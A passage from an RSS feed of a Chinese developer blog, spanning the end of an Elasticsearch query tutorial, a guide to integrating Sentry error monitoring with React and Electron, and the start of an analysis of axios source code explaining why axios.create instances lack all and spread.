&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/wildcard-query-winpython.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;首先 &lt;code&gt;Elasticsearch&lt;/code&gt; 会先对 &lt;code&gt;description&lt;/code&gt; 进行分词为: &lt;code&gt;win&lt;/code&gt; 和 &lt;code&gt;python&lt;/code&gt;。然后 &lt;code&gt;wi*&lt;/code&gt; 会应用到每个词项里，其中 &lt;code&gt;win&lt;/code&gt; 符合规则，则显示在结果中。&lt;/p&gt;
&lt;p&gt;如果我用 &lt;code&gt;win?&lt;/code&gt;，则不会有任何的结果，因为 &lt;code&gt;?&lt;/code&gt; 代表的是一个或多个。那么匹配到 &lt;code&gt;win&lt;/code&gt; 的时候，后面没有字符串了，则结果为空。&lt;/p&gt;
&lt;h4&gt;regexp query&lt;/h4&gt;
&lt;p&gt;其为正则表达式查询，原理同 &lt;code&gt;wildcard&lt;/code&gt;，这里就不在阐述了。&lt;/p&gt;
&lt;h4&gt;fuzzy query&lt;/h4&gt;
&lt;p&gt;可以把 &lt;code&gt;fuzzy&lt;/code&gt; 理解为模糊查询。比如用户输入关键字时，一不小心输入错了，变成了 &lt;code&gt;javascrpit&lt;/code&gt;，那么 &lt;code&gt;fuzzy&lt;/code&gt; 的作用就出来了。它仍可以搜索到 &lt;code&gt;javascript&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: &quot;description&quot;,
  &quot;query&quot;: {
    &quot;fuzzy&quot;: {
      &quot;description&quot;: &quot;javascrpit&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其结果如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/fuzzy-query-javascript.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;复合查询 {#compound-queries}&lt;/h3&gt;
&lt;p&gt;复合查询就是把简单的查询组合在一起，从而实现更加复杂的查询。并且复合查询还可以控制另一个查询的行为。&lt;/p&gt;
&lt;h4&gt;constant_score query&lt;/h4&gt;
&lt;p&gt;不太常用，用于对返回结果的文档进行打分。&lt;/p&gt;
&lt;p&gt;这里就不在阐述了，如果感兴趣，可见: &lt;a href=&quot;https://blog.csdn.net/dm_vincent/article/details/42157577&quot;&gt;[Elasticsearch] 控制相关度 (四) - 忽略 TF/IDF&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;bool query&lt;/h4&gt;
&lt;p&gt;这个查询方法，还是非常重要的。这个方法提供了以下操作方法:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;must: 文档必须满足 &lt;code&gt;must&lt;/code&gt; 下面的查询条件，相当于 &lt;code&gt;AND&lt;/code&gt; 或者 &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;should: 文档可以匹配 &lt;code&gt;should&lt;/code&gt; 下的查询条件，匹配不出来也没事。相当于 &lt;code&gt;OR&lt;/code&gt; 或者 &lt;code&gt;||&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;must_not: 和 &lt;code&gt;must&lt;/code&gt; 相反，必须不满足 &lt;code&gt;must_not&lt;/code&gt; 下面的查询条件，相当于 &lt;code&gt;!==&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;filter: 其功能和 &lt;code&gt;must&lt;/code&gt; 一样，但是不会打分，也就说不会影响文档的 &lt;code&gt;_score&lt;/code&gt; 字段&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;现在，我们想要查询: 书籍作者 (&lt;code&gt;author&lt;/code&gt;) 是 &lt;code&gt;葛一鸣&lt;/code&gt;，书籍名称 (&lt;code&gt;title&lt;/code&gt;) 里包含 &lt;code&gt;java&lt;/code&gt; 的书籍，价格 (&lt;code&gt;price&lt;/code&gt;) 不能高于 &lt;code&gt;70&lt;/code&gt; 低于 &lt;code&gt;40&lt;/code&gt;，并且书籍描述 (&lt;code&gt;description&lt;/code&gt;) 可以包含或者不包含 &lt;code&gt;虚拟机&lt;/code&gt; 的书籍。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;query&quot;: {
    &quot;bool&quot;: {
      &quot;filter&quot;: {
        &quot;term&quot;: {
          &quot;author&quot;: &quot;葛一鸣&quot;
        }
      },
      &quot;must&quot;: [
        {
          &quot;match&quot;: {
            &quot;title&quot;: &quot;java&quot;
          }
        }
      ],
      &quot;should&quot;: [
        {
          &quot;match&quot;: {
            &quot;description&quot;: &quot;虚拟机&quot;
          }
        }
      ],
      &quot;must_not&quot;: [
        {
          &quot;range&quot;: {
            &quot;price&quot;: {
              &quot;gt&quot;: 70,
              &quot;lt&quot;: 40
            }
          }
        }
      ]
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其结果如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/bool-query-combined-hit.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4&gt;dis_max query、function_score query、boosting query {#dis-max-function-score-boosting}&lt;/h4&gt;
&lt;p&gt;这三个就不在阐述了，其主要作用是关系到 &lt;code&gt;_score&lt;/code&gt;，也就是关系到查询的结果的评分。感兴趣的，可以在网上搜下。&lt;/p&gt;
</content:encoded><category>elasticsearch</category><category>dsl</category><category>kibana</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>JavaScript 集成 Sentry</title><link>https://bugs.cc/zh/posts/javascript-integration-sentry/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/javascript-integration-sentry/</guid><description>在 React 里集成 Sentry，以及浅入介绍原理</description><pubDate>Fri, 24 Aug 2018 01:16:33 GMT</pubDate><content:encoded>&lt;h2&gt;Sentry-JavaScript&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Sentry 是一套用于捕获产品错误的开源项目，其下支持很多语言、框架。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;这里就只阐述在前端 JavaScript 方向的处理操作&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在我们公司之前的应用场景里，很多项目都是使用 &lt;code&gt;kibana&lt;/code&gt; 来做信息统计。但是我们无法清楚的知道应用的运行状态是怎么样的。当某个客户在使用我们开发产品时，如果报错、崩溃。用户只能向客服寻求帮助，再交接给我们的开发人员进行复现、修复。其中因为不清楚具体的数据，开发人员是在复现时会非常的耗时。&lt;/p&gt;
&lt;p&gt;而 &lt;code&gt;Sentry&lt;/code&gt; 的用途就是解决这一痛点问题，让开发人员快速准确的定位到问题的根源所在，以达到快速修复，让开发人员更注重于开发新的功能上面。减少时间资源上的浪费。&lt;/p&gt;
&lt;h3&gt;JavaScript&lt;/h3&gt;
&lt;h4&gt;接入 {#setup}&lt;/h4&gt;
&lt;p&gt;因为 &lt;code&gt;Sentry&lt;/code&gt; 使用的是一种 &lt;code&gt;Hook&lt;/code&gt; 错误函数的技术，来达到捕获错误的目的，所以我们基本可以无损耗的接入到现有的项目中去。&lt;/p&gt;
&lt;p&gt;下面是 &lt;code&gt;React&lt;/code&gt; 与 &lt;code&gt;Sentry&lt;/code&gt; 进行结合的一些基本步骤。&lt;/p&gt;
&lt;p&gt;React:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;#SentryBoundary.js
import { Component } from &quot;react&quot;;
import Raven from &quot;raven-js&quot;;

export default class SentryBoundary extends Component {
  constructor(props) {
    super(props);
    this.state = { error: null };
  }

  componentDidCatch(error, errorInfo) {
    this.setState({ error });
    // 发送错误信息
    Raven.captureException(error, { extra: errorInfo });
  }

  render() {
    if (this.state.error) {
      // 此处可以写成组件，当组件崩溃后，可以替换崩溃的组件
      console.log(&quot;React Error&quot;);
    }
    return this.props.children;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;#index.js
Raven.config(&quot;DSN&quot;, {
  release: release,
}).install();

ReactDOM.render(
  &amp;lt;div&amp;gt;
    &amp;lt;SentryBoundary&amp;gt;
      &amp;lt;App /&amp;gt;
    &amp;lt;/SentryBoundary&amp;gt;
  &amp;lt;/div&amp;gt;,
  document.getElementById(&quot;root&quot;)
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;上传 source-map {#upload-source-map}&lt;/h5&gt;
&lt;p&gt;如果上面的代码已经配置好后，那么现在的应用是可以捕获到错误的，但是存在了一个问题，我们目前的项目大多都使用 &lt;code&gt;webpack&lt;/code&gt; 进行打包，而打包后的代码是混淆加密的代码，无法让我们准确的知道抛出错误的位置在哪里。所以我们需要上传 &lt;code&gt;source-map&lt;/code&gt; 和混淆后的文件一起上传到 &lt;code&gt;Sentry&lt;/code&gt; 服务器上。方便我们快速查找到问题所在的位置。&lt;/p&gt;
&lt;p&gt;这个上传的配置及命令是比较繁琐的。也是项目结合 &lt;code&gt;Sentry&lt;/code&gt; 的一个难点。&lt;/p&gt;
&lt;p&gt;上传 &lt;code&gt;source-map&lt;/code&gt; 目前有两种方式:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;Sentry&lt;/code&gt; 提供的 &lt;code&gt;Webpack&lt;/code&gt; 插件进行配置，但是其灵活性不高。&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;sentry-cli&lt;/code&gt; 的，其灵活性比较高，可以针对不同项目进行单独的配置。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其配置较为繁琐，这里就不在阐述。具体的 React 与 Sentry 结合的例子。可见我在 github 上的项目: &lt;a href=&quot;https://github.com/BlackHole1/react-sentry-demo&quot;&gt;react-sentry-demo&lt;/a&gt;。对每个配置都有详细的说明。其中的上传 &lt;code&gt;source-map&lt;/code&gt;，我使用的是第二种方法，并写了一个脚本，实现了:  &lt;strong&gt;打包、环境检测、认证检测、上传 source-map、删除本地 source-map 的操作&lt;/strong&gt;，完成自动化，可以把脚本直接迁移到现有的项目中去，改动也不会太大。&lt;/p&gt;
&lt;p&gt;其核心上传命令如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sentry-cli releases files v1.8 upload-sourcemaps {js文件和js.map所在目录。如果没有找到，sentry会遍历其子目录} --url-prefix &apos;~/{过滤规则}&apos;`;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;浅入原理 {#how-it-works}&lt;/h4&gt;
&lt;p&gt;在 JavaScript 中是有 &lt;code&gt;window.onerror&lt;/code&gt; 这个方法的，而 &lt;code&gt;Sentry&lt;/code&gt; 在前端的核心捕获原理，就是通过重写此方法，来对所有的错误进行捕获。其实现的代码大致如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;let _winError = window.onerror;
window.onerror = function (message, url, lineNo, colNo, errorObj) {
    console.log(`
	错误信息: ${message}
	错误文件地址: ${url}
	错误行号: ${lineNo}
	错误列号: ${colNo}
	错误的详细信息 ${errorObj}`);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后 &lt;code&gt;Sentry&lt;/code&gt; 的工作就是获取非错误的数据，如: &lt;code&gt;user-agent&lt;/code&gt;、&lt;code&gt;浏览器信息&lt;/code&gt;、&lt;code&gt;系统信息&lt;/code&gt;、&lt;code&gt;自定义信息&lt;/code&gt;等信息，然后交给 &lt;code&gt;Sentry&lt;/code&gt; 的生命周期函数，最后在把数据发送到 &lt;code&gt;Sentry&lt;/code&gt; 服务端，进行错误信息展示。&lt;/p&gt;
&lt;h4&gt;兼容性 {#compatibility}&lt;/h4&gt;
&lt;p&gt;这里所说的兼容性，其实也就是 &lt;code&gt;window.onerror&lt;/code&gt; 的兼容性&lt;/p&gt;
&lt;h5&gt;运行环境兼容性 {#runtime-compatibility}&lt;/h5&gt;
&lt;p&gt;| 环境                    | message |  url  | lineNo | colNo | errorObj |
| ———————– | : —–: | : —: | : ––: | : —: | : ——: |
| Firefox                 |    ✓    |   ✓   |   ✓    |   ✓   |    ✓     |
| Chrom                   |    ✓    |   ✓   |   ✓    |   ✓   |    ✓     |
| Edge                    |    ✓    |   ✓   |   ✓    |   ✓   |    ✓     |
| IE 11                   |    ✓    |   ✓   |   ✓    |   ✓   |    ✓     |
| IE 10                   |    ✓    |   ✓   |   ✓    |   ✓   |          |
| IE 9                    |    ✓    |   ✓   |   ✓    |   ✓   |          |
| IE 8                    |    ✓    |   ✓   |   ✓    |       |          |
| Safari 10 and up        |    ✓    |   ✓   |   ✓    |   ✓   |    ✓     |
| Safari 9                |    ✓    |   ✓   |   ✓    |   ✓   |          |
| Opera 15+               |    ✓    |   ✓   |   ✓    |   ✓   |    ✓     |
| Android Browser 4.4     |    ✓    |   ✓   |   ✓    |   ✓   |          |
| Android Browser 4 - 4.3 |    ✓    |   ✓   |        |       |          |
| 微信 webview(安卓)       |    ✓    |   ✓   |   ✓    |   ✓   |          |
| 微信 webview(IOS)        |    ✓    |   ✓   |   ✓    |   ✓   |    ✓     |
| WKWebview               |    ✓    |   ✓   |   ✓    |   ✓   |    ✓     |
| UIWebview               |    ✓    |   ✓   |   ✓    |   ✓   |    ✓     |&lt;/p&gt;
&lt;h5&gt;标签兼容性 {#tag-compatibility}&lt;/h5&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;标签&lt;/th&gt;
&lt;th&gt;window.onerror 是否能捕获&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;img&lt;/td&gt;
&lt;td&gt;可以&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;script&lt;/td&gt;
&lt;td&gt;需要再 script 标签添加 &lt;code&gt;crossorigin&lt;/code&gt; 属性，并在服务端允许跨域。如果不使用这个属性，错误信息只会显示 &lt;code&gt;Script error.&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;css&lt;/td&gt;
&lt;td&gt;不能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;iframe&lt;/td&gt;
&lt;td&gt;不能&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;可以发现其浏览器都支持此方法。只是有些运行环境不支持 &lt;code&gt;colNo&lt;/code&gt; 和 &lt;code&gt;errorObj&lt;/code&gt;，但是这块，&lt;code&gt;Sentry&lt;/code&gt; 已经帮你处理好了，所以不用担心。只是会在展示错误的时候，信息不太完整而已。&lt;/p&gt;
&lt;h4&gt;所能捕获的信息 {#captured-info}&lt;/h4&gt;
&lt;h5&gt;错误信息 {#error-info}&lt;/h5&gt;
&lt;p&gt;从上面的浅入原理可以看到，其核心捕获是 &lt;code&gt;window.onerror&lt;/code&gt;。那么只要它可以捕获到的错误，都会发送到 &lt;code&gt;Sentry&lt;/code&gt; 上。&lt;/p&gt;
&lt;p&gt;而 &lt;code&gt;window.onerror&lt;/code&gt; 能捕获到的错误，除了 &lt;code&gt;Promise&lt;/code&gt;，基本上能在控制台出现的错误，都会捕获到。也就是运行时的错误，包括语法错误。&lt;/p&gt;
&lt;p&gt;关于捕获 &lt;code&gt;Promise&lt;/code&gt; 错误的方案，可以使用:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;window.addEventListener(&apos;unhandledrejection&apos;, event =&amp;gt; {})&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;来进行捕获，但是此事件的兼容性不太好，目前只有 &lt;code&gt;webkit内核&lt;/code&gt; 支持这个事件。&lt;/p&gt;
&lt;p&gt;如下代码，是此方法所能捕获到的:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const p = new Promise((reslove, reject) =&amp;gt; reject(&apos;Error&apos;))
p.then(data =&amp;gt; {
  console.log(data)
})
// Promise 触发了 reject 回调函数，但是却没有相应到 catch 来应对。从而导致报错。
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;面包屑信息 {#breadcrumbs}&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;Ajax 请求&lt;/li&gt;
&lt;li&gt;URL 地址的变化&lt;/li&gt;
&lt;li&gt;UI 点击和按下的 DOM 事件&lt;/li&gt;
&lt;li&gt;控制台的 console 信息&lt;/li&gt;
&lt;li&gt;之前的错误&lt;/li&gt;
&lt;li&gt;自定义的面包屑信息&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;展示信息 {#display}&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/javaScript-integration-sentry/sentry-error-detail.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Electron 集成 {#electron}&lt;/h3&gt;
&lt;p&gt;这里的集成，也不是说捕获 Electron 应用的错误，而是崩溃。因为 Electron 只是一个容器，里面的内容还是 JavaScript 应用。&lt;/p&gt;
&lt;h4&gt;接入 {#electron-setup}&lt;/h4&gt;
&lt;p&gt;刚刚也说到这里的集成也只是去捕获 Electron 崩溃的信息。而当 Electron 崩溃时，会触发 Electron 的函数: &lt;code&gt;crashReporter.start&lt;/code&gt;，那么我们在这个函数里去配置一下自己的 &lt;code&gt;sentry&lt;/code&gt; 信息:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;import { crashReporter } from &apos;electron&apos;

crashReporter.start({
  productName: &apos;aoc-desktop&apos;,
  companyName: &apos;alo7&apos;,
  submitURL:
    &apos;https://sentry.com/api/15376/minidump/?sentry_key=3e05fa101f035008e953ff56909b8eb&apos;,	// sentry 提供的 minidump 接口
  extra: {
    // 额外信息
  }
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配置好后，可以使用 &lt;code&gt;process.crash()&lt;/code&gt; 来模拟崩溃，以便查看 Sentry 是否能收到崩溃信息。&lt;/p&gt;
&lt;h5&gt;上传 Symbol(符号表) {#upload-symbols}&lt;/h5&gt;
&lt;p&gt;在上面的应用说的是上传 &lt;code&gt;source-map&lt;/code&gt;，但是这里上传的是 Symbol。可以把 &lt;code&gt;Symbol&lt;/code&gt; 理解为另一种 &lt;code&gt;source-map&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;Symbol 的格式 (后缀) 有很多，Mac 下是 &lt;code&gt;dSYM&lt;/code&gt;，windows 是 &lt;code&gt;pdb&lt;/code&gt;。而在 Sentry 里，暂时是不支持上传 &lt;code&gt;pdb&lt;/code&gt; 的。需要使用 &lt;code&gt;dump_syms.exe&lt;/code&gt; 来把 &lt;code&gt;pdb&lt;/code&gt; 格式转化成 &lt;code&gt;sym&lt;/code&gt; 格式。再上传到 Sentry 里。这样就可以在 Sentry 崩溃的时候，看到起崩溃的上下文了。如下图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/javaScript-integration-sentry/sentry-crash-symbols.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这样就可以准确的定位到是哪里出现了问题。&lt;/p&gt;
&lt;h3&gt;浅入上传检索的原理 {#source-map-matching}&lt;/h3&gt;
&lt;p&gt;当 Sentry 服务端收到 &lt;code&gt;source-map&lt;/code&gt; 时，是通过你上传时的 &lt;code&gt;url-prefix&lt;/code&gt; 信息，与 source-map 文件以及运行时的 js 文件，产生对应。流程图如下:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/javaScript-integration-sentry/sourcemap-matching-flow.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
</content:encoded><category>javascript</category><category>react</category><category>electron</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>分析 axios 源码来找出无法使用 all 和 spread 等方法的原因</title><link>https://bugs.cc/zh/posts/analyze-the-axios-source-to-find-out-why-you-cant-use-all-and-spread-methods/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/analyze-the-axios-source-to-find-out-why-you-cant-use-all-and-spread-methods/</guid><description>通过分析 Axios 的源码，来找出无法使用部分 Api 的问题</description><pubDate>Sat, 14 Apr 2018 05:37:29 GMT</pubDate><content:encoded>&lt;h2&gt;前言 {#intro}&lt;/h2&gt;
&lt;p&gt;如果你在使用 axios 的时候，是使用 &lt;code&gt;axios.create({})&lt;/code&gt; 方法来进行创建 &lt;code&gt;axios&lt;/code&gt; 的，那么你会发现你无法使用 &lt;code&gt;all&lt;/code&gt;、&lt;code&gt;spread&lt;/code&gt;、&lt;code&gt;Cancel&lt;/code&gt;、&lt;code&gt;CancelToken&lt;/code&gt;、&lt;code&gt;isCancel&lt;/code&gt; 方法。&lt;/p&gt;
&lt;p&gt;我上网查了相关的问题，axios 维护者们都是让你重新引入 &lt;code&gt;axios package&lt;/code&gt; 来进行完成任务。我不喜欢这种方法，因为重新引入的话，那我的 axios 配置就会丢失，需要重新配置一遍，太过麻烦。&lt;/p&gt;
&lt;p&gt;因为我们项目很多时候，不想使用默认的配置，想使用自定义设置的 axios 实例。比如设置基础 URL 和超时时间:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;let newAxios = axios.create({
  baseURL: &apos;https://www.google.com.hk&apos;,
  timeout: 1000
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;设置完后，使用 &lt;code&gt;newAxios.post&lt;/code&gt; 来完成自己的需求，当然，如果你只使用 &lt;code&gt;get&lt;/code&gt;、&lt;code&gt;post&lt;/code&gt;、&lt;code&gt;put&lt;/code&gt; 等基础的方法，是没有问题的。但是如果你使用 &lt;code&gt;all&lt;/code&gt;、&lt;code&gt;spread&lt;/code&gt;、&lt;code&gt;Cancel&lt;/code&gt;、&lt;code&gt;CancelToken&lt;/code&gt;、&lt;code&gt;isCancel&lt;/code&gt; 方法，将会告诉你，方法不存在。&lt;/p&gt;
&lt;p&gt;现在，让我们看一下 axios 源码是如何实现的，为什么使用 &lt;code&gt;axios.create&lt;/code&gt; 方法后，就无法使用 &lt;code&gt;all&lt;/code&gt;、&lt;code&gt;spread&lt;/code&gt; 等方法。&lt;/p&gt;
&lt;h2&gt;正文 {#source-analysis}&lt;/h2&gt;
&lt;p&gt;我们先打开 axios 源码目录下的 &lt;code&gt;lib/axios.js&lt;/code&gt; 文件。这个文件就是 &lt;code&gt;Axios&lt;/code&gt; 入口处。也是 &lt;code&gt;create&lt;/code&gt; 函数所在的地方。我们现在来看看 &lt;code&gt;create&lt;/code&gt; 的源代码:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;axios.create = function create(instanceConfig) {
  return createInstance(mergeConfig(axios.defaults, instanceConfig));
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们先逐步解读。看到 &lt;code&gt;mergeConfig&lt;/code&gt; 方法，大家就能从字面上理解了。这是一个合并配置的方法。就是把我们配置与默认配置进行合并，把我们的配置覆盖默认的配置。合并配置的代码，这里就不细说了，有兴趣的可以去 &lt;a href=&quot;https://github.com/axios/axios/blob/master/lib/core/mergeConfig.js&quot;&gt;mergeConfig&lt;/a&gt; 看下。所以现在的代码变成了这样:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;axios.create = function create(instanceConfig) {
  return createInstance({
    baseURL: &apos;https://www.google.com.hk&apos;,
    timeout: 1000,
    xsrfCookieName: &apos;XSRF-TOKEN&apos;,
    xsrfHeaderName: &apos;X-XSRF-TOKEN&apos;,
    maxContentLength: -1,
    /* 等等 */
  });
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在看是不是就有点清晰了。现在我们看到还剩一个函数 &lt;code&gt;createInstance&lt;/code&gt;，现在让我们去看一下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function createInstance(defaultConfig) {
  var context = new Axios(defaultConfig);
  var instance = bind(Axios.prototype.request, context);

  // Copy axios.prototype to instance
  utils.extend(instance, Axios.prototype, context);

  // Copy context to instance
  utils.extend(instance, context);

  return instance;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;context&lt;/code&gt; 变量内容是 &lt;code&gt;axios&lt;/code&gt; 实例代码。我们来看下，里面大致长啥样:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function Axios(instanceConfig) {
  this.defaults = instanceConfig;
  this.interceptors = {
    request: new InterceptorManager(),
    response: new InterceptorManager()
  };
}

// Provide aliases for supported request methods
utils.forEach([&apos;delete&apos;, &apos;get&apos;, &apos;head&apos;, &apos;options&apos;], function forEachMethodNoData(method) {
  /*eslint func-names: 0*/
  Axios.prototype[method] = function(url, config) {
    return this.request(utils.merge(config || {}, {
      method: method,
      url: url
    }));
  };
});

utils.forEach([&apos;post&apos;, &apos;put&apos;, &apos;patch&apos;], function forEachMethodWithData(method) {
  /*eslint func-names: 0*/
  Axios.prototype[method] = function(url, data, config) {
    return this.request(utils.merge(config || {}, {
      method: method,
      url: url,
      data: data
    }));
  };
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不用细看，我们只需要知道，实例 Axios 后，&lt;code&gt;context&lt;/code&gt; 变量里的&lt;code&gt;原型链&lt;/code&gt;上有 &lt;code&gt;request delete get head options post put patch&lt;/code&gt; 方法，自身有 &lt;code&gt;request interceptors&lt;/code&gt; 对象。&lt;/p&gt;
&lt;p&gt;现在，让我们看下下面的 &lt;code&gt;bind&lt;/code&gt; 和 &lt;code&gt;extend&lt;/code&gt; 方法:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var instance = bind(Axios.prototype.request, context);

// Copy axios.prototype to instance
utils.extend(instance, Axios.prototype, context);

// Copy context to instance
utils.extend(instance, context);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一个 &lt;code&gt;bind&lt;/code&gt; 函数，是让 Axios.prototype.request 函数里的 this 指向 &lt;code&gt;context&lt;/code&gt; 变量。&lt;/p&gt;
&lt;p&gt;后面两个 &lt;code&gt;extend&lt;/code&gt; 方法，是把第二参数的可枚举对象复制到第一个参数中，也就是 &lt;code&gt;instance&lt;/code&gt; 变量里。&lt;/p&gt;
&lt;p&gt;我们从第一个 &lt;code&gt;bind&lt;/code&gt; 方法开始，现在 &lt;code&gt;instance&lt;/code&gt; 变量里有一个 &lt;code&gt;request&lt;/code&gt; 方法。&lt;/p&gt;
&lt;p&gt;然后第二个 &lt;code&gt;extend&lt;/code&gt; 方法，把 &lt;code&gt;Axios.prototype&lt;/code&gt; 里的方法复制到 &lt;code&gt;instance&lt;/code&gt; 变量里。现在 &lt;code&gt;instance&lt;/code&gt; 变量里有 &lt;code&gt;request delete get head options post put patch&lt;/code&gt; 方法。&lt;/p&gt;
&lt;p&gt;最后第三个 &lt;code&gt;extend&lt;/code&gt; 方法，把 &lt;code&gt;context&lt;/code&gt; 里的方法复制到 &lt;code&gt;instance&lt;/code&gt; 变量里。现在变量里有 &lt;code&gt;request delete get head options post put patch interceptors defaults&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;然后就没了，&lt;code&gt;create&lt;/code&gt; 方法直接返回 &lt;code&gt;instance&lt;/code&gt; 变量。是不是根本没有看到 &lt;code&gt;all&lt;/code&gt;、&lt;code&gt;spread&lt;/code&gt; 等方法。这也就是为什么使用 &lt;code&gt;create&lt;/code&gt; 方法后，无法使用这些方法。那么这些方法在哪呢？还是在 &lt;code&gt;lib/axios.js&lt;/code&gt; 文件里:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;// Expose Cancel &amp;amp; CancelToken
axios.Cancel = require(&apos;./cancel/Cancel&apos;);
axios.CancelToken = require(&apos;./cancel/CancelToken&apos;);
axios.isCancel = require(&apos;./cancel/isCancel&apos;);

// Expose all/spread
axios.all = function all(promises) {
  return Promise.all(promises);
};
axios.spread = require(&apos;./helpers/spread&apos;);

module.exports = axios;

// Allow use of default import syntax in TypeScript
module.exports.default = axios;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到，这里是把这些方法直接赋值在 axios 方法上，然后就直接暴露出去了。所以当我们使用 &lt;code&gt;axios&lt;/code&gt; 可以使用 &lt;code&gt;all&lt;/code&gt;、&lt;code&gt;spread&lt;/code&gt; 等方法。但是使用 &lt;code&gt;axios.create&lt;/code&gt; 就无法使用 &lt;code&gt;all&lt;/code&gt;、&lt;code&gt;spread&lt;/code&gt;、&lt;code&gt;Cancel&lt;/code&gt;、&lt;code&gt;CancelToken&lt;/code&gt;、&lt;code&gt;isCancel&lt;/code&gt; 方法。&lt;/p&gt;
&lt;h2&gt;解决方案 {#solution}&lt;/h2&gt;
&lt;p&gt;如果能改 axios 源码的话，那可以把 &lt;code&gt;lib/axios.js&lt;/code&gt; 改成如下，就行了:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function createInstance(defaultConfig) {
  var context = new Axios(defaultConfig);
  var instance = bind(Axios.prototype.request, context);

  // Copy axios.prototype to instance
  utils.extend(instance, Axios.prototype, context);

  // Copy context to instance
  utils.extend(instance, context);

  utils.extend(instance, {
    Cancel: require(&apos;./cancel/Cancel&apos;),
    CancelToken: require(&apos;./cancel/CancelToken&apos;),
    isCancel: require(&apos;./cancel/isCancel&apos;),
    all: function all(promises) {
      return Promise.all(promises);
    },
    spread: require(&apos;./helpers/spread&apos;)
  }, context);

  return instance;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是，这当然不可能啦。所以，我们需要在不改源代码的情况下，去实现。&lt;/p&gt;
